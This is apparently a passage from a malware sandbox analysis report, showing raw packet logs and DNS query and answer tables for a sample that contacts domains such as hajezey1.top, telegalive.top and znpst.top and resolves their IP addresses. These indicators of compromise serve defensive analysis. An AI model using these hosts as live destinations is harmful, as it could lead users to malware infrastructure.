Oct 29, 2021 15:32:15.016242981 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016257048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016269922 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016278028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016293049 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016307116 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016320944 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016331911 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016343117 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016369104 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016395092 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.061675072 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061709881 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061726093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061745882 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061764002 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061779976 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061795950 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061810970 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.061825037 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.061866045 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062347889 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062366962 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062381983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062397957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062438965 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062537909 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062571049 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062587023 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062602997 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062613010 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062639952 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062664032 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062685966 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062709093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062717915 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062735081 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062751055 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062771082 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062776089 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062792063 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062808037 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.062814951 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.062849998 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063113928 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063153028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063177109 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063189983 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063213110 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063234091 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063246965 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063266039 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063287973 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063301086 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063323021 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063344955 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063358068 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063379049 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063400030 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063410997 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063429117 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063446999 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063466072 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063472033 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063487053 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063504934 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063509941 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063524961 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063534975 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063546896 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063563108 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063577890 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063585997 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063601017 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.063611031 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.063625097 CEST	80	49863	194.180.174.181	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 15:29:50.174997091 CEST	192.168.2.7	8.8.8.8	0xe98a	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.285088062 CEST	192.168.2.7	8.8.8.8	0xd6c4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.451325893 CEST	192.168.2.7	8.8.8.8	0x2677	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.886739969 CEST	192.168.2.7	8.8.8.8	0x8a9c	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.158706903 CEST	192.168.2.7	8.8.8.8	0xe878	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.325818062 CEST	192.168.2.7	8.8.8.8	0x686a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.256938934 CEST	192.168.2.7	8.8.8.8	0xd5c5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.793525934 CEST	192.168.2.7	8.8.8.8	0x608e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.960382938 CEST	192.168.2.7	8.8.8.8	0x5460	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.594818115 CEST	192.168.2.7	8.8.8.8	0x60e0	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.762376070 CEST	192.168.2.7	8.8.8.8	0xa32e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:09.912467957 CEST	192.168.2.7	8.8.8.8	0x5cbc	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.077960014 CEST	192.168.2.7	8.8.8.8	0x8924	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.238271952 CEST	192.168.2.7	8.8.8.8	0x836e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.412193060 CEST	192.168.2.7	8.8.8.8	0xb607	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.336947918 CEST	192.168.2.7	8.8.8.8	0xba18	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.519800901 CEST	192.168.2.7	8.8.8.8	0xdc50	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.609247923 CEST	192.168.2.7	8.8.8.8	0xd79f	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.722347975 CEST	192.168.2.7	8.8.8.8	0xa5c1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.891743898 CEST	192.168.2.7	8.8.8.8	0x1943	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:17.067492008 CEST	192.168.2.7	8.8.8.8	0x68ef	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.104005098 CEST	192.168.2.7	8.8.8.8	0x68ef	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.274410009 CEST	192.168.2.7	8.8.8.8	0xcf9c	Standard query (0)	iyc.jelikob.ru	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.561086893 CEST	192.168.2.7	8.8.8.8	0x6bb4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.751533985 CEST	192.168.2.7	8.8.8.8	0xf899	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.974908113 CEST	192.168.2.7	8.8.8.8	0x263e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.146465063 CEST	192.168.2.7	8.8.8.8	0x9a05	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.165334940 CEST	192.168.2.7	8.8.8.8	0x572f	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.420629025 CEST	192.168.2.7	8.8.8.8	0x4e22	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.593507051 CEST	192.168.2.7	8.8.8.8	0x37b6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.766551018 CEST	192.168.2.7	8.8.8.8	0x7b78	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.930042028 CEST	192.168.2.7	8.8.8.8	0x668f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:22.109713078 CEST	192.168.2.7	8.8.8.8	0x1732	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.038505077 CEST	192.168.2.7	8.8.8.8	0x58ef	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.218506098 CEST	192.168.2.7	8.8.8.8	0x2ec1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.408349037 CEST	192.168.2.7	8.8.8.8	0x45ae	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.605974913 CEST	192.168.2.7	8.8.8.8	0xb18d	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.446518898 CEST	192.168.2.7	8.8.8.8	0x5c1d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.817353010 CEST	192.168.2.7	8.8.8.8	0xbdb6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:30.088576078 CEST	192.168.2.7	8.8.8.8	0x4911	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:40.996129990 CEST	192.168.2.7	8.8.8.8	0x8d4c	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:44.285001993 CEST	192.168.2.7	8.8.8.8	0xf71d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:47.532489061 CEST	192.168.2.7	8.8.8.8	0x3d78	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:51.401598930 CEST	192.168.2.7	8.8.8.8	0x797d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:54.618031025 CEST	192.168.2.7	8.8.8.8	0x1fa1	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:57.939132929 CEST	192.168.2.7	8.8.8.8	0x790c	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:58.008543968 CEST	192.168.2.7	8.8.8.8	0xcd8b	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:00.902143955 CEST	192.168.2.7	8.8.8.8	0x641e	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.365901947 CEST	192.168.2.7	8.8.8.8	0xab88	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.565514088 CEST	192.168.2.7	8.8.8.8	0x9a5c	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.771392107 CEST	192.168.2.7	8.8.8.8	0xbc65	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:37.534353018 CEST	192.168.2.7	8.8.8.8	0x2dfd	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:45.136790037 CEST	192.168.2.7	8.8.8.8	0xe6e8	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:51.340296984 CEST	192.168.2.7	8.8.8.8	0x4e45	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:51.996310949 CEST	192.168.2.7	8.8.8.8	0x7e73	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:54.816926956 CEST	192.168.2.7	8.8.8.8	0x193d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:55.587068081 CEST	192.168.2.7	8.8.8.8	0xc53b	Standard query (0)	mas.to	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:58.992904902 CEST	192.168.2.7	8.8.8.8	0xa389	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:03.885279894 CEST	192.168.2.7	8.8.8.8	0x199	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:08.387541056 CEST	192.168.2.7	8.8.8.8	0x5645	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:09.032435894 CEST	192.168.2.7	8.8.8.8	0x434f	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:24.432200909 CEST	192.168.2.7	8.8.8.8	0xd7f7	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:25.501245975 CEST	192.168.2.7	8.8.8.8	0x46f	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:32.181284904 CEST	192.168.2.7	8.8.8.8	0xc784	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 15:29:50.276427031 CEST	8.8.8.8	192.168.2.7	0xe98a	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.304280043 CEST	8.8.8.8	192.168.2.7	0xd6c4	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.739317894 CEST	8.8.8.8	192.168.2.7	0x2677	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:50.906488895 CEST	8.8.8.8	192.168.2.7	0x8a9c	No error (0)	privacytoolzforyou-6000.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.178097010 CEST	8.8.8.8	192.168.2.7	0xe878	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:29:53.343168974 CEST	8.8.8.8	192.168.2.7	0x686a	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.637346983 CEST	8.8.8.8	192.168.2.7	0xd5c5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:06.812875986 CEST	8.8.8.8	192.168.2.7	0x608e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.443001032 CEST	8.8.8.8	192.168.2.7	0x5460	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.613675117 CEST	8.8.8.8	192.168.2.7	0x60e0	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:07.781887054 CEST	8.8.8.8	192.168.2.7	0xa32e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:09.931878090 CEST	8.8.8.8	192.168.2.7	0x5cbc	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.097567081 CEST	8.8.8.8	192.168.2.7	0x8924	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.257822990 CEST	8.8.8.8	192.168.2.7	0x836e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:10.431981087 CEST	8.8.8.8	192.168.2.7	0xb607	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.356302977 CEST	8.8.8.8	192.168.2.7	0xba18	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:12.537317038 CEST	8.8.8.8	192.168.2.7	0xdc50	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:15.634282112 CEST	8.8.8.8	192.168.2.7	0xd79f	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.741931915 CEST	8.8.8.8	192.168.2.7	0xa5c1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:16.910960913 CEST	8.8.8.8	192.168.2.7	0x1943	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.121781111 CEST	8.8.8.8	192.168.2.7	0x68ef	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.293843031 CEST	8.8.8.8	192.168.2.7	0xcf9c	No error (0)	iyc.jelikob.ru		81.177.141.36	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.530072927 CEST	8.8.8.8	192.168.2.7	0x68ef	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.580732107 CEST	8.8.8.8	192.168.2.7	0x6bb4	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.771301985 CEST	8.8.8.8	192.168.2.7	0xf899	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:18.994231939 CEST	8.8.8.8	192.168.2.7	0x263e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.165941954 CEST	8.8.8.8	192.168.2.7	0x9a05	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:19.192508936 CEST	8.8.8.8	192.168.2.7	0x572f	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.440638065 CEST	8.8.8.8	192.168.2.7	0x4e22	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.612938881 CEST	8.8.8.8	192.168.2.7	0x37b6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.784255981 CEST	8.8.8.8	192.168.2.7	0x7b78	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:21.949590921 CEST	8.8.8.8	192.168.2.7	0x668f	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:22.127304077 CEST	8.8.8.8	192.168.2.7	0x1732	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.058145046 CEST	8.8.8.8	192.168.2.7	0x58ef	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.237951994 CEST	8.8.8.8	192.168.2.7	0x2ec1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:25.827104092 CEST	8.8.8.8	192.168.2.7	0x45ae	No error (0)	sysaheu90.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:26.627618074 CEST	8.8.8.8	192.168.2.7	0xb18d	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.465260983 CEST	8.8.8.8	192.168.2.7	0x5c1d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:29.836539984 CEST	8.8.8.8	192.168.2.7	0xbdb6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:30.108221054 CEST	8.8.8.8	192.168.2.7	0x4911	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:41.015875101 CEST	8.8.8.8	192.168.2.7	0x8d4c	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:44.305762053 CEST	8.8.8.8	192.168.2.7	0xf71d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:47.552169085 CEST	8.8.8.8	192.168.2.7	0x3d78	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:51.502931118 CEST	8.8.8.8	192.168.2.7	0x797d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:54.637330055 CEST	8.8.8.8	192.168.2.7	0x1fa1	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:57.958695889 CEST	8.8.8.8	192.168.2.7	0x790c	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:58.029148102 CEST	8.8.8.8	192.168.2.7	0xcd8b	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 15:30:58.029148102 CEST	8.8.8.8	192.168.2.7	0xcd8b	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:00.921565056 CEST	8.8.8.8	192.168.2.7	0x641e	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		116.121.62.237	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		61.255.185.201	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		62.201.235.58	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		189.232.62.153	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		211.119.84.111	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		211.119.84.112	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		211.169.6.249	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		183.100.39.157	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		196.200.111.5	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:01.546233892 CEST	8.8.8.8	192.168.2.7	0xab88	No error (0)	znpst.top		190.140.74.43	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.584793091 CEST	8.8.8.8	192.168.2.7	0x9a5c	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
